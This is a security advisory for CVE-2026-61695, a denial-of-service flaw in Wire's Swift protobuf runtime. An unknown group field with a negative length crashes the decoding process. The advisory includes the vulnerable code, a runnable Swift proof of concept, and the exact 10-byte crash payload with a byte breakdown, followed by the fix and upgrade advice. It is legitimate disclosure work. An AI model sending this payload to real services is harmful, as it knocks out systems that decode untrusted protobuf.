CVE-2026-61695: Wire Swift runtime: negative LENGTH_DELIMITED length in skipGroup() crashes any protobuf-decoding service

### Summary Wire's Swift runtime (`Wire` SPM/CocoaPods product, implemented by `wire-runtime-swift`) did not reject a negative `LENGTH_DELIMITED` field length while skipping an unknown protobuf group. A crafted 10-byte protobuf payload could cause `ProtoReader.skipGroup()` to read a length-delimited field whose varint decodes to a negative `Int32`. That negative value was then passed to `ReadBuffer.readData(count:)`. `ReadBuffer` checked only that the requested read did not go past the end of the buffer. It did not reject negative counts. As a result, a negative count could pass the bounds check and reach Foundation's `Data(bytes:count:)`, which traps and aborts the process (`Signal 5` / SIGTRAP) instead of throwing Wire's documented `ProtoDecoder.Error`. This is the Swift sibling of the Kotlin/JVM negative-length-in-`skipGroup()` issue fixed in `com.squareup.wire:wire-runtime` 6.3.0 (`CVE-2026-45799`, `GHSA-7xpr-hc2w-34m9`). That earlier fix added a `length < 0` rejection to the Kotlin readers. The functionally similar Swift `ProtoReader.skipGroup()` path was not covered by that fix and remained vulnerable in released Swift runtime versions through `6.4.0`, and in Wire 7 alpha releases through `7.0.0-alpha03`. The issue is fixed for the supported 6.x release line in Wire `6.4.1`. `skipGroup()` runs for any unknown field with wire type 3 (`START_GROUP`), so no schema knowledge is required. A service decoding any message type with `ProtoDecoder.decode(_:from:)` over untrusted bytes can be reached by sending an unknown group field. ### Impact Denial of service. A single 10-byte attacker-controlled protobuf payload can abort the process with an unrecoverable runtime trap. Callers following Wire's documented Swift API generally expect `ProtoDecoder.decode(_:from:)` to throw catchable decoding errors such as `ProtoDecoder.Error`. They cannot catch a SIGTRAP from Foundation's `Data(bytes:count:)`. Any Swift process that decodes untrusted protobuf data with Wire's Swift runtime may be affected. Examples include iOS, macOS, or server-side Swift applications that accept protobuf request bodies, websocket frames, stored messages, queue payloads, files, or any other attacker-controlled serialized protobuf bytes. The vulnerability requires: - The application decodes untrusted protobuf bytes with Wire's Swift runtime. - The attacker can provide a protobuf payload containing an unknown `START_GROUP` field. - That group contains a `LENGTH_DELIMITED` field whose encoded length decodes to a negative signed 32-bit value. The attacker does not need: - Authentication. - User interaction. - Knowledge of the target message schema. - A valid known field number in the target schema. ### Affected Products #### Swift Package Manager / CocoaPods `Wire` Affected versions: - All released Swift runtime versions through `6.4.0`. - Wire 7 alpha releases through `7.0.0-alpha03`. Patched versions: - `6.4.1` for the supported 6.x release line. - `7.0.0-alpha04` for the 7.x alpha line (the first 7.x release containing PR #3616). Recommended action: - Upgrade to Wire `6.4.1` or later on the supported stable line. - If using a Wire 7 alpha release, upgrade to `7.0.0-alpha04` or a later 7.x release containing PR #3616. ### Vulnerable Code The vulnerable code was in `wire-runtime-swift/src/main/swift/ProtoCodable/ProtoReader.swift`, `skipGroup(expectedEndTag:unknownFieldsWriter:)`: ```swift case .lengthDelimited: let length = try Int32(truncatingIfNeeded: buffer.readVarint()) // can be negative, e.g. -128 state = .lengthDelimited(length: Int(length)) let data = try readData() // no length >= 0 check try unknownFieldsWriter.encode(tag: tag, value: data) ``` `ProtoReader.readData()` then forwarded the stored negative length to the buffer: ```swift func readData() throws -> Data { guard case let .lengthDelimited(length) = state else { fatalError("Decoding field as length delimited when key was not LENGTH_DELIMITED") } state = .tag return try buffer.readData(count: length) // count = -128 } ``` The bounds check in `wire-runtime-swift/src/main/swift/ProtoCodable/ReadBuffer.swift` checked only the upper bound. A negative count could pass this guard and then be handed to Foundation: ```swift func verifyAdditional(count: Int) throws { guard pointer.advanced(by: count) <= end else { // pointer + (-128) <= end is true throw ProtoDecoder.Error.unexpectedEndOfData } } func readData(count: Int) throws -> Data { try verifyAdditional(count: count) // negative count passes the guard let data = Data(bytes: pointer, count: count) // Data(bytes:count:) with count = -128 traps pointer = pointer.advanced(by: count) return data } ``` The normal typed length-delimited decode path is comparatively shielded by other state transitions. The schema-agnostic unknown-group skip path was the important path because it threaded an unvalidated signed length into `ReadBuffer.readData(count:)`. ### How Input Reaches the Sink The reachable decoding path is: ```text ProtoDecoder.decode(_:from:) -> message init(from: ProtoReader) -> ProtoReader.nextTag(token:) -> ProtoReader.skipGroup(expectedEndTag:unknownFieldsWriter:) -> ProtoReader.readData() -> ReadBuffer.readData(count:) -> Data(bytes:count:) ``` When `ProtoReader.nextTag(token:)` sees an unknown field with wire type `START_GROUP`, it calls the private `skipGroup(...)` helper. Inside that skipped group, an inner `LENGTH_DELIMITED` field with a negative varint length reaches `readData()`, then `ReadBuffer.readData(count:)`, then `Data(bytes:count:)`. The outer field number is arbitrary. The proof of concept uses field 99, but the field does not need to exist in the target schema because unknown-field skipping is schema-agnostic. ### Proof Of Concept The following proof of concept demonstrates the vulnerable behavior. It uses an empty `ProtoDecodable` message that treats every field as unknown, so an unknown `START_GROUP` field drives `ProtoReader.nextTag(token:)` into the private `skipGroup()` implementation. `Package.swift`: ```swift // swift-tools-version:5.9 import PackageDescription let package = Package( name: "poc", platforms: [.macOS(.v12)], dependencies: [ .package(url: "https://github.com/square/wire.git", exact: "6.4.0") ], targets: [ .executableTarget( name: "poc", dependencies: [.product(name: "Wire", package: "wire")], path: "Sources/poc" ) ] ) ``` `Sources/poc/main.swift`: ```swift import Foundation import Wire func log(_ s: String) { FileHandle.standardError.write((s + "\n").data(using: .utf8)!) } // A ProtoDecodable message that treats every field as unknown. An unknown // START_GROUP field drives ProtoReader.nextTag() into the private skipGroup(). struct EmptyMessage: ProtoDecodable { static var protoSyntax: ProtoSyntax? { .proto2 } init() {} init(from reader: ProtoReader) throws { let token = try reader.beginMessage() while let _ = try reader.nextTag(token: token) {} let _: UnknownFields = try reader.endMessage(token: token) } } // hex 9b06 0a 80ffffff0f 9c06 // 0x9B 0x06 field 99, wire type 3 (START_GROUP) // 0x0A field 1, wire type 2 (LENGTH_DELIMITED) inside group // 0x80 0xFF 0xFF 0xFF 0x0F 5-byte varint decoding to signed Int32 = -128 // 0x9C 0x06 field 99, END_GROUP let attackerPayload = Data([0x9B, 0x06, 0x0A, 0x80, 0xFF, 0xFF, 0xFF, 0x0F, 0x9C, 0x06]) // Negative control: same group, inner length-delimited field has valid length 0. let benignPayload = Data([0x9B, 0x06, 0x0A, 0x00, 0x9C, 0x06]) let decoder = ProtoDecoder() log("=== NEGATIVE CONTROL (valid length 0) ===") do { _ = try decoder.decode(EmptyMessage.self, from: benignPayload) log("negative-control: decoded OK, no crash (expected)") } catch { log("negative-control: threw \(type(of: error)): \(error)") } log("=== ATTACK (negative length -128 inside skipped group) ===") do { _ = try decoder.decode(EmptyMessage.self, from: attackerPayload) log("attack: decoded OK (not vulnerable / patched)") } catch let e as ProtoDecoder.Error { log("attack: threw documented ProtoDecoder.Error: \(e) (not vulnerable / patched)") } catch { log("attack: threw unexpected \(type(of: error)): \(error)") } log("=== reached end of main (no crash) ===") ``` Build and run: ```bash swift build SWIFT_BACKTRACE=enable=yes ./.build/debug/poc ``` Expected behavior on vulnerable versions through `6.4.0`: ```text === NEGATIVE CONTROL (valid length 0) === negative-control: decoded OK, no crash (expected) === ATTACK (negative length -128 inside skipped group) === *** Signal 5: Backtracing from 0x191b9d68c... done *** *** Program crashed: System trap at 0x0000000191b9d68c *** Thread 0 crashed: 0 specialized Data.InlineData.init(_:) in Foundation 1 [ra] specialized Data.init(bytes:count:) in Foundation 2 [ra] ReadBuffer.readData(count:) at ReadBuffer.swift 3 [ra] ProtoReader.readData() at ProtoReader.swift 4 [ra] ProtoReader.skipGroup(expectedEndTag:unknownFieldsWriter:) at ProtoReader.swift 5 [ra] closure #1 in ProtoReader.nextTag(token:) at ProtoReader.swift 6 [ra] ProtoReader.nextTag(token:) at ProtoReader.swift 7 [ra] [thunk] EmptyMessage.init(from:) at main.swift 8 [ra] ProtoReader.decode<A>(_:) at ProtoReader.swift 9 [ra] ProtoDecoder.decode<A>(_:from:) at ProtoDecoder.swift 10 [ra] main at main.swift ``` The negative control, which uses the same skipped group structure but with a valid length of 0, decodes successfully. That demonstrates the crash is caused by the negative length, not by group-skipping itself. The attack payload crashes with SIGTRAP inside `Data.init(bytes:count:)`, reached from the unguarded `skipGroup()` -> `readData()` -> `ReadBuffer.readData(count:)` path. This runtime trap escapes Wire's documented `ProtoDecoder.Error` boundary. Payload: ```text 9b060a80ffffff0f9c06 ``` Payload breakdown: ```text 0x9B 0x06 field 99, wire type 3 (START_GROUP) 0x0A field 1, wire type 2 (LENGTH_DELIMITED) inside group 0x80 0xFF 0xFF 0xFF 0x0F 5-byte varint = -128 as signed Int32 0x9C 0x06 field 99, END_GROUP ``` ### Fix The fix rejects negative lengths before setting the length-delimited reader state and before calling `readData()`. Fixed logic in `wire-runtime-swift/src/main/swift/ProtoCodable/ProtoReader.swift`: ```swift case .lengthDelimited: let length = try Int32(truncatingIfNeeded: buffer.readVarint()) guard length >= 0 else { throw ProtoDecoder.Error.unexpectedEndOfData } state = .lengthDelimited(length: Int(length)) let data = try readData() try unknownFieldsWriter.encode(tag: tag, value: data) ``` The fix also adds defense in depth in `wire-runtime-swift/src/main/swift/ProtoCodable/ReadBuffer.swift` by rejecting negative read counts before pointer arithmetic and before constructing `Data(bytes:count:)`. The fix was merged in PR #3616: https://github.com/square/wire/pull/3616 Fix commit: https://github.com/square/wire/commit/81ff7f24a6795d9a8be2e03f272b2d979a5d2c7e ### Patched Behavior With the fix, the same payload is rejected with a catchable `ProtoDecoder.Error` instead of aborting the process. Applications can handle the malformed payload using normal Swift error handling around `ProtoDecoder.decode(_:from:)`. ### Workarounds There is no complete application-level workaround if untrusted protobuf bytes must be decoded with a vulnerable Wire Swift runtime version. Services can reduce exposure by avoiding protobuf decoding on untrusted inputs, validating or filtering payloads before decoding, or rejecting protobuf group wire types at an outer protocol boundary where that is feasible. These mitigations are not substitutes for upgrading because the vulnerable path is schema-agnostic unknown-field skipping inside the runtime decoder. ### Recommended Upgrade Upgrade to Wire `6.4.1` or later. Swift Package Manager users should update their dependency to a patched tag: ```swift .package(url: "https://github.com/square/wire.git", from: "6.4.1") ``` CocoaPods users should update the `Wire` pod to `6.4.1` or later. Wire 7 alpha users should upgrade to `7.0.0-alpha04` or a later 7.x release that contains PR #3616. ### Relationship To GHSA-7xpr-hc2w-34m9 / CVE-2026-45799 This advisory covers the Swift runtime sibling of `GHSA-7xpr-hc2w-34m9` / `CVE-2026-45799`. `GHSA-7xpr-hc2w-34m9` fixed the Kotlin/JVM readers in Wire `6.3.0`, but the Swift runtime had a similar group-skipping path that still accepted negative lengths. This advisory is tracked separately because it affects the Swift runtime package and was fixed by a separate Swift runtime PR. ### Credits Reported by `tonghuaroot`.